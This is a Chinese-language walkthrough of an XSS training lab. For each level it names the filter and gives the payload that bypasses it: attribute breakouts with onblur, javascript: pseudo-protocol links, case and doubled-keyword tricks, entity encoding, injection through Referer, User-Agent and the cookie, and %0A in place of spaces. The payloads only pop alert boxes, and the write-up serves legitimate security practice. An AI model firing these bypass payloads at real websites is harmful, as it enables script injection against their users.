我的解题思路
在可以输入数据的地方输入一些数据,看看源代码的那里可以找到他们,在输入一些字符看看有没有被过滤,最后观察源代码思考渗透手段。
level1
在URL的?name=
后输入答案
<script>alert('a')</script>
level2
首先在输入框中输入后点搜索,发现没用,按F12
查看源代码。
源代码:<input name="keyword" value="<script>alert('a')</script>">
,发现这个地方没有任何过滤
所以这么改,在value="
后输入">
使其闭合,并在">
前面添加//
将其注释
<input name="keyword" value=""><script>alert('a')</script>//">
最后将答案"><script>alert('a')</script>//
复制提交
level3
首先还是按照level2的思想,输入'"><
看看有没有被过滤,发现"
、<
、>
被实体化成了 "
、<
和>
。
所以想到用HTML事件来解决
以onblur()
为例,onblur 在元素失去焦点时触发。Onblur 通常用于代码验证(当用户离开表单输入域时)。
答案:' onblur='alert(/xss/)
注意:这里要用 ’ 去闭合value属性(自己去试)!
level4
思路与level3一样(自己去试)!
答案:" onblur="alert(/xss/)
level5
首先还是按照同样的的思想,输入'"><
看看有没有被过滤,发现"
、<
、>
没有被过滤。发现过滤情况与上一关很像,于是复制上一关代码,发现变成"on_blur="alert(/xss/)
。这是因为它过滤了以on开头的HTML事件,所以想到可以用javascript
伪协议(自行科普)。
答案:"><a href="javascript:alert(/a/)">Zedex</a>
,记得点击Zedex。
level6
观察,然后输入level5的答案,查看源代码发现href
被过滤成了hr_ef
,所以考虑大小写绕过。
答案:"><a hRef="javascript:alert(/a/)">Zedex</a>
level7
观察,然后输入level5的答案,查看源代码发现href
和script
被过滤了,所以考虑双写绕过,注意href
和script
不能直接写在后面不然就达不到双写绕过的效果。
答案:"><a hrhrefef="javascscriptript:alert(/a/)">Zedex</a>
level8
观察,输入'"><
看看有没有被过滤,查看源代码发现"
被过滤了.
点击友情链接发现URL上会带有你输入的内容,所以试一下javascript
伪协议,发现被过滤成了javascr_ipt
,于是想看看能不能大小写绕过,不行,于是想着用编码的方式,我用的是burp自带的。我试了之后发现HTML编码是可以的。因为HTML在前端是可以被识别的,浏览器会自动给你解码。
答案:javascript:alert(/a/)
level9
查看源代码发必需要带http://
,所以考虑用http://+编码伪协议
。但伪协议又不能放在http://
后面,所以把http://
放后面并注释掉
答案:javascript:alert(/a/)//http://
level 10
隐藏表单,有兴趣的话找找其他详细点的文章,这里只提供答案。
答案:把URL中的keyword
换成t_sort
并在等号后面加上'" onblur='alert(/xss/)' type="text" //
,记得刷新一下页面。
level11
查看源代码发现他会把Referer:
后的信息添加到value里面
答案:用Burp拦截这个页面的请求,然后发送到Repeater里,在Repeater里添加Referer:'" onblur='alert(/xss/)' type="text" //
,然后右键->Repeater in browser->In orginal session,copyURL在浏览器里复制粘贴,记得关闭burp的拦截!
level12
思路与level11相同只不过这次是User-Agent:
后的信息
答案:与level11相同操作,只不过将User-Agent:
后添加'" onblur='alert(/xss/)' type="text" //
level13
查看源代码发现value里面传得是是cookie
里面的值,直接在浏览器中修改cookie的值。
答案:'" onblur='alert(/xss/)' type="text" //
,要把这个值放在cookie里。
level14
14关网址现在已经不能用了,所以跳过喽。
level15
查看代码发现src里的值会被include
包含,所以思路是引入level1.php并用相应事件来解决
答案:src='level1.php?name=<img src=1 onerror=alert(1)>'
level 16
空格绕过,发现会过滤掉你输入的空格,所以考虑用换行符%0A
代替空格,这在HTML中是合法的。
答案:keyword=<img%0Asrc=1%0Aonerror=alert(1)>
level 17 &18
因为该插件在火狐里用不了,略略略!